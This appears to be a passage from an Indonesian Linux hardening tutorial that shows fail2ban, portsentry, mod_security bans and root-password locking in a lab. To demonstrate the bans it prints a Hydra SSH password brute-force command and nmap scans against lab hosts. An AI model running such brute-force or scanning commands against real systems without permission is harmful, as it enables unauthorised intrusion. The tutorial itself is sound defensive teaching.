data@192.168.1.101's password:
Access denied
data@192.168.1.101's password:
```

```
root@ubuntu1610:/etc/fail2ban# fail2ban-client status sshd
Status for the jail: sshd
|- Filter
|  |- Currently failed: 0
|  |- Total failed:     3
|  `- File list:        /var/log/auth.log
`- Actions
   |- Currently banned: 1
   |- Total banned:     1
   `- Banned IP list:   192.168.1.127
root@ubuntu1610:/etc/fail2ban#
```

fail2ban-client status sshd

```
root@ubuntu1610:/etc/fail2ban# fail2ban-client set sshd unbanip 192.168.1.127
192.168.1.127
root@ubuntu1610:/etc/fail2ban# fail2ban-client status sshd
Status for the jail: sshd
|- Filter
|  |- Currently failed: 0
|  |- Total failed:     3
|  `- File list:        /var/log/auth.log
`- Actions
   |- Currently banned: 0
   |- Total banned:     1
   `- Banned IP list:
root@ubuntu1610:/etc/fail2ban#
```

fail2ban-client set sshd unbanip 192.168.1.127

```
root@kalidata:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.29  netmask 255.255.255.0  broadcast 192.168.1.
        inet6 fe80::a00:27ff:fe56:f729  prefixlen 64  scopeid 0x20<lir
        ether 08:00:27:56:f7:29  txqueuelen 1000  (Ethernet)
        RX packets 930  bytes 101299 (98.9 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 576  bytes 65925 (64.3 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 0  (Local Loopback)
        RX packets 20  bytes 1200 (1.1 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 20  bytes 1200 (1.1 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

root@kalidata:~#
```

Di kali linux

```
root@kalidata: ~
File  Edit  View  Search  Terminal  Help
root@kalidata:~# locate smalldict.txt
/usr/share/golismero/tools/sqlmap/txt/smalldict.txt
/usr/share/sqlmap/txt/smalldict.txt
/usr/share/w3af/w3af/plugins/attack/db/sqlmap/txt/smalldict.txt
root@kalidata:~# hydra -l data -P /usr/share/golismero/tools/sqlmap/txt/smalldic
t.txt 192.168.1.101 ssh
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret
service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-03-01 10:27:54
[WARNING] Many SSH configurations limit the number of parallel tasks, it is reco
mmended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 64 tasks, 3567 login tries (l:1/p:3567
), ~3 tries per task
[DATA] attacking service ssh on port 22

^CThe session file ./hydra.restore was written. Type "hydra -R" to resume sessio
n.
root@kalidata:~# ssh data@192.168.1.101
ssh: connect to host 192.168.1.101 port 22: Connection refused
root@kalidata:~#
```

Attacker melakukan brute force

```
root@ubuntu1610:/# fail2ban-client status sshd
Status for the jail: sshd
|- Filter
|  |- Currently failed: 1
|  |- Total failed:     32
|  `- File list:        /var/log/auth.log
`- Actions
   |- Currently banned: 1
   |- Total banned:     1
   `- Banned IP list:   192.168.1.29
root@ubuntu1610:/#
```

Ip attacker banned

45.25 Teknik melakukan banned otomatis pada attacker yang melakukan scanning dengan NMAP

```
root@ubuntu1610:/home# apt-get install portsentry
Reading package lists... Done
Building dependency tree
Reading state information... Done
Suggested packages:
  logcheck
The following NEW packages will be installed:
  portsentry
0 upgraded, 1 newly installed, 0 to remove and 126 not upgraded.
Need to get 65.9 kB of archives.
After this operation, 231 kB of additional disk space will be used.
Get:1 http://us.archive.ubuntu.com/ubuntu yakkety/universe i386 portsentry i386 1.2-14 [65.9 kB]
Fetched 65.9 kB in 1s (56.0 kB/s)
Preconfiguring packages ...
Selecting previously unselected package portsentry.
(Reading database ... 68650 files and directories currently installed.)
Preparing to unpack .../portsentry_1.2-14_i386.deb ...
Unpacking portsentry (1.2-14) ...
Processing triggers for ureadahead (0.100.0-19) ...
Setting up portsentry (1.2-14) ...
Processing triggers for systemd (231-9git1) ...
Processing triggers for man-db (2.7.5-1) ...
Processing triggers for ureadahead (0.100.0-19) ...
root@ubuntu1610:/home#
```

apt-get install portsentry

```
root@ubuntu1610:/home# nano /etc/portsentry/portsentry.conf
```

nano /etc/portsentry/portsentry.conf

```
# on UDP, etc.
#
#
# 0 = Do not block UDP/TCP scans.
# 1 = Block UDP/TCP scans.
# 2 = Run external command only (KILL_RUN_CMD)

BLOCK_UDP="0"
BLOCK_TCP="0"

####################
# Dropping Routes:#
####################
# This command is used to drop the route or add the
# a local filter table.
#
# The gateway (333.444.555.666) should ideally be a
```

Awalnya BLOCK_UDP=”0” dan BLOCK_TCP=”0”

```
#
#
# 0 = Do not block UDP/TCP scans.
# 1 = Block UDP/TCP scans.
# 2 = Run external command only (KILL_RUN_CMD)

BLOCK_UDP="1"
BLOCK_TCP="1"

####################
# Dropping Routes:#
####################
# This command is used to drop the route or add the host i
# a local filter table.
#
# The gateway (333.444.555.666) should ideally be a dead h
# the *local* subnet. On some hosts you can also point thi
# localhost (127.0.0.1) and get the same effect. NOTE THAT
```

Ganti dengan BLOCK_UDP=”1” dan BLOCK_TCP=”1”

```
root@ubuntu1610:/home# nano /etc/portsentry/portsentry.conf
root@ubuntu1610:/home# service portsentry restart
```

service portsentry restart

Saat di scan dengan nmap 192.168.1.101

```
Starting Nmap 6.25 ( http://nmap.org ) at 2017-03-01 08:45 Pacific Standard Time

Nmap scan report for 192.168.1.101
Host is up (0.00s latency).
Not shown: 980 closed ports
PORT      STATE SERVICE
1/tcp     open  tcpmux
22/tcp    open  ssh
53/tcp    open  domain
79/tcp    open  finger
80/tcp    open  http
111/tcp   open  rpcbind
119/tcp   open  nntp
139/tcp   open  netbios-ssn
143/tcp   open  imap
445/tcp   open  microsoft-ds
1080/tcp  open  socks
1524/tcp  open  ingreslock
2000/tcp  open  cisco-sccp
6667/tcp  open  irc
12345/tcp open  netbus
31337/tcp open  Elite
32771/tcp open  sometimes-rpc5
32772/tcp open  sometimes-rpc7
32773/tcp open  sometimes-rpc9
32774/tcp open  sometimes-rpc11
MAC Address: 08:00:27:4F:E8:0E (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 17.44 seconds
```

Jika dicoba lagi dengan perintah lain

nmap -sN -sV -O 192.168.1.101

```
Starting Nmap 6.25 ( http://nmap.org ) at 2017-03-01 08:47 Pacific Standard Time

Stats: 0:04:55 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 92.00% done; ETC: 08:52 (0:00:22 remaining)
Stats: 0:04:56 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 92.00% done; ETC: 08:52 (0:00:22 remaining)
Stats: 0:04:56 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 92.00% done; ETC: 08:52 (0:00:22 remaining)
Stats: 0:04:56 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 92.00% done; ETC: 08:52 (0:00:22 remaining)
```

Ctrl+c

Diulang lagi

```
C:\>nmap -sN -sV -O 192.168.1.101

Starting Nmap 6.25 ( http://nmap.org ) at 2017-03-01 08:52 Pacific Standard Time

Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn

Nmap done: 1 IP address (0 hosts up) scanned in 2.97 seconds

C:\>nmap 192.168.1.101

Starting Nmap 6.25 ( http://nmap.org ) at 2017-03-01 08:53 Pacific Standard Time

Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn

Nmap done: 1 IP address (0 hosts up) scanned in 1.08 seconds

C:\>_
```

Sudah terblokir

Web Terblokir

SSH terblokir

Jika di komputer lain

Berjalan normal web nya

192.168.1.101 - PuTTY

```
login as: data
data@192.168.1.101's password:
```

SSH Berjalan normal

```
root@ubuntu1610:/# cd etc
root@ubuntu1610:/etc# ls -l hosts.deny
-rw-r--r-- 1 root root 737 Mar  1 08:42 hosts.deny
root@ubuntu1610:/etc# cat hosts.deny
# /etc/hosts.deny: list of hosts that are _not_ allowed to access the system.
#                  See the manual pages hosts_access(5) and hosts_options(5).
#
# Example:    ALL: some.host.name, .some.domain
#             ALL EXCEPT in.fingerd: other.host.name, .other.domain
#
# If you're going to protect the portmapper use the name "rpcbind" for the
# daemon name. See rpcbind(8) and rpc.mountd(8) for further information.
#
# The PARANOID wildcard matches any host whose name does not match its
# address.
#
# You may wish to enable this to ensure any programs that don't
# validate looked up hostnames still leave understandable logs. In past
# versions of Debian this has been the default.
# ALL: PARANOID

ALL: 192.168.1.127 : DENY
root@ubuntu1610:/etc#
```

Memeriksa ip 192.168.1.127 yang di block

```
root@ubuntu1610:/etc# nano hosts.deny
```

```
  nano 2.6.3

# /etc/hosts.deny: list of hosts that are _not_ allowed to access the system
#                  See the manual pages hosts_access(5) and hosts_options(5)
#
# Example:    ALL: some.host.name, .some.domain
#             ALL EXCEPT in.fingerd: other.host.name, .other.domain
#
# If you're going to protect the portmapper use the name "rpcbind" for the
# daemon name. See rpcbind(8) and rpc.mountd(8) for further information.
#
# The PARANOID wildcard matches any host whose name does not match its
# address.
#
# You may wish to enable this to ensure any programs that don't
# validate looked up hostnames still leave understandable logs. In past
# versions of Debian this has been the default.
# ALL: PARANOID

ALL: 192.168.1.127 : DENY
```

Jika ingin menghapus blacklist maka hapus ALL: 192.168.1.127 : DENY

```
  nano 2.6.3                                                              F

# /etc/hosts.deny: list of hosts that are _not_ allowed to access the system.
#                  See the manual pages hosts_access(5) and hosts_options(5).
#
# Example:    ALL: some.host.name, .some.domain
#             ALL EXCEPT in.fingerd: other.host.name, .other.domain
#
# If you're going to protect the portmapper use the name "rpcbind" for the
# daemon name. See rpcbind(8) and rpc.mountd(8) for further information.
#
# The PARANOID wildcard matches any host whose name does not match its
# address.
#
# You may wish to enable this to ensure any programs that don't
# validate looked up hostnames still leave understandable logs. In past
# versions of Debian this has been the default.
# ALL: PARANOID
```

Setelah itu lakukan reboot maka user yang dibanned sudah tidak dibanned lagi

45.26 Teknik melakukan banned otomatis pada attacker yang melakukan scanning web tool otomatis seperti acunnetix, wapiti dan sebagainya termasuk yang mengujinya dengan secara manual

Sebelum menjalankan hal di bawah ini pastikan server sudah install WAF mod_security

nano /etc/fail2ban/jail.conf

```
[modsec]
enabled  = true
filter   = modsec
action   = iptables-multiport[name=ModSec, port="http,https"]
#           sendmail-buffered[name=ModSec, lines=5, dest=you@mail.com]
logpath  = /var/log/apache2/modsec_audit.log
bantime  = 172800
maxretry = 1
```


```
[modsec]
enabled  = true
filter   = modsec
action   = iptables-multiport[name=ModSec, port="http,https"]
#           sendmail-buffered[name=ModSec, lines=5, dest=you@mail.com]
logpath  = /var/log/apache2/modsec_audit.log
bantime  = 172800
maxretry = 1
```


Masukkan modsec di atas pada paling bawah file jail.conf

cd /etc/fail2ban/filter.d lalu edit file modsec.conf

```
root@ubuntu1610: /etc/fail2ban/filter.d
  nano 2.6.3                    File: modsec.conf

# Fail2Ban configuration file
#
# Author: Florian Roth

[Definition]
failregex = \[.*?\]\s[\w-]*\s<HOST>\s
ignoreregex =
```

modsec.conf

```
# Fail2Ban configuration file
#
# Author: Florian Roth

[Definition]
failregex = \[.*?\]\s[\w-]*\s<HOST>\s
ignoreregex =
```

```
root@ubuntu1610:/etc/fail2ban/filter.d# fail2ban-client status modsec
Status for the jail: modsec
|- Filter
|  |- Currently failed: 0
|  |- Total failed:     18
|  `- File list:        /var/log/apache2/modsec_audit.log
`- Actions
   |- Currently banned: 0
   |- Total banned:     6
   `- Banned IP list:
root@ubuntu1610:/etc/fail2ban/filter.d#
```

fail2ban-client status modsec

```
root@dhcppc4: /home/kurniawan
File  Edit  View  Search  Terminal  Help
$ sudo su
[sudo] password for kurniawan:
root@dhcppc4:/home/kurniawan# ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:e7:79:a9
          inet addr:192.168.1.177  Bcast:192.168.1.255  Mask:255.25
          inet6 addr: fe80::a00:27ff:fee7:79a9/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:416 errors:0 dropped:0 overruns:0 frame:0
          TX packets:23 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:33226 (32.4 KiB)  TX bytes:1531 (1.4 KiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:4 errors:0 dropped:0 overruns:0 frame:0
          TX packets:4 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:240 (240.0 B)  TX bytes:240 (240.0 B)
```

Ip address attacker

Attacker dapat membuat web dengan alamat http://192.168.1.101/sinaraccounting dengan normal

Attacker melakukan scanning dengan wapiti

Di Server ketik fail2ban-client status modsec lalu enter, hasilnya ip address 192.168.1.177 di banned.

Saat attacker membuka web dengan ip address 192.168.1.101 hasilnya seperti di atas

Kemudian untuk menghapus blacklist ketik fail2ban-client set modsec unbanip 192.168.1.177

Saat ketik fail2ban-client status modsec lalu enter hasilnya ip address 192.168.1.177 sudah tidak di ban.

Jika attacker menggunakan accunetix hasilnya juga sama

Attacker dapat membuka http://192.168.1.101/sinaraccounting secara normal

```
root@ubuntu1610:/etc/fail2ban/filter.d# fail2ban-client status modsec
Status for the jail: modsec
|- Filter
|   |- Currently failed: 0
|   |- Total failed:     24
|   `- File list:        /var/log/apache2/modsec_audit.log
`- Actions
    |- Currently banned: 0
    |- Total banned:     7
    `- Banned IP list:
root@ubuntu1610:/etc/fail2ban/filter.d#
```

Saat di PC server ketik fail2ban-client status modsec hasilnya belum ada ip yang dilakukan banned.

Attacker akan melakukan scanning web dengan acunnetix

Scanning dilakukan

```
root@ubuntu1610:/etc/fail2ban/filter.d# fail2ban-client status modsec
Status for the jail: modsec
|- Filter
|  |- Currently failed: 0
|  |- Total failed:     36
|  `- File list:        /var/log/apache2/modsec_audit.log
`- Actions
   |- Currently banned: 1
   |- Total banned:     8
   `- Banned IP list:   192.168.1.127
root@ubuntu1610:/etc/fail2ban/filter.d#
```

Hasilnya target di blacklist ip nya

Attacker tidak bisa mengakses web karena sudah diblacklist

```
root@ubuntu1610:/etc/fail2ban/filter.d# fail2ban-client set modsec unbanip 192.
168.1.127
192.168.1.127
root@ubuntu1610:/etc/fail2ban/filter.d# fail2ban-client status modsec
Status for the jail: modsec
|- Filter
|  |- Currently failed: 0
|  |- Total failed:     36
|  `- File list:        /var/log/apache2/modsec_audit.log
`- Actions
   |- Currently banned: 0
   |- Total banned:     8
   `- Banned IP list:
root@ubuntu1610:/etc/fail2ban/filter.d#
```

Kemudian untuk menghapus blacklist ketik fail2ban-client set modsec unbanip 192.168.1.127

Saat ketik fail2ban-client status modsec lalu enter hasilnya ip address 192.168.1.127 sudah tidak di ban.

Hasilnya web dengan alamat http://192.168.1.101/sinaraccounting kembali dapat diakses secara normal

Jika attacker menguji secara manual

Langsung muncul tampilan seperti di atas

```
root@ubuntu1610:/etc# fail2ban-client status modsec
Status for the jail: modsec
|- Filter
|  |- Currently failed: 0
|  |- Total failed:     37
|  `- File list:        /var/log/apache2/modsec_audit.log
`- Actions
   |- Currently banned: 1
   |- Total banned:     9
   `- Banned IP list:   192.168.1.9
root@ubuntu1610:/etc#
```

Hasilnya di PC server saat ketik fail2ban-client status modsec

```
root@ubuntu1610:/etc# fail2ban-client set modsec unbanip 192.168.1.9
192.168.1.9
root@ubuntu1610:/etc# fail2ban-client status modsec
Status for the jail: modsec
|- Filter
|  |- Currently failed: 0
|  |- Total failed:     37
|  `- File list:        /var/log/apache2/modsec_audit.log
`- Actions
   |- Currently banned: 0
   |- Total banned:     9
   `- Banned IP list:
root@ubuntu1610:/etc#
```

Kemudian untuk menghapus blacklist ketik fail2ban-client set modsec unbanip 192.168.1.9

Saat ketik fail2ban-client status modsec lalu enter hasilnya ip address 192.168.1.9 sudah tidak di ban.

Web dengan alamat http://192.168.1.101/sinaraccounting kembali bisa dibuka oleh attacker dengan ip address 192.168.1.9.

45.27 Mengosongkan password root dan mengunci password user root di ubuntu

```
  -d, --delete
      Delete a user's password (make it empty). This is a quick way to
      disable a password for an account. It will set the named account
      passwordless.
```

```
  -l, --lock
      Lock the password of the named account. This option disables a
      password by changing it to a value which matches no possible
      encrypted value (it adds a '!' at the beginning of the password).

      Note that this does not disable the account. The user may still be
      able to login using another authentication token (e.g. an SSH key).
      To disable the account, administrators should use usermod
      --expiredate 1 (this set the account's expire date to Jan 2, 1970).

      Users with a locked password are not allowed to change their
      password.
```

Option yang akan digunakan

```
root@ubuntufresh:~# passwd -dl root
passwd: password expiry information changed.
root@ubuntufresh:~#
```

passwd -dl root

Jika ingin mengaktifkannya kembali

```
passwd: password updated successfully
root@ubuntufresh:~#
```

Pengujian

```
root@ubuntufresh:~# reboot
root@ubuntufresh:~#
Broadcast message from root@ubuntufresh
        (/dev/tty1) at 6:08 ...

The system is going down for reboot NOW!
acpid: exiting
 * Stopping web server apache2
apache2: Could not reliably determine the server's fully qualified domain name,
using 127.0.1.1 for ServerName
 ... waiting
```

reboot

```
Ubuntu 13.04 ubuntufresh tty1

Hint: Num Lock on

ubuntufresh login: root
Password:
Last login: Sun Jan 22 06:01:53 WIT 2017 on tty1
Welcome to Ubuntu 13.04 (GNU/Linux 3.8.0-19-generic i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Sun Jan 22 06:11:19 WIT 2017

  System load:  0.8               Processes:           91
  Usage of /:   19.3% of 6.99GB   Users logged in:     0
  Memory usage: 17%               IP address for eth0: 192.168.1.102
  Swap usage:   0%

  Graph this data and manage this system at https://landscape.canonical.com/

Your Ubuntu release is not supported anymore.
For upgrade information, please visit:
http://www.ubuntu.com/releaseendoflife

New release '13.10' available.
Run 'do-release-upgrade' to upgrade to it.

root@ubuntufresh:~# _
```

Login dengan user root

```
root@ubuntufresh:~# passwd -dl root
passwd: password expiry information changed.
root@ubuntufresh:~#
```

```
Ubuntu 13.04 ubuntufresh tty1

ubuntufresh login: root
Password:

Login incorrect
ubuntufresh login:
```

Reboot dan login lagi, user root tidak bisa untuk login

Selamat belajar

Try Harder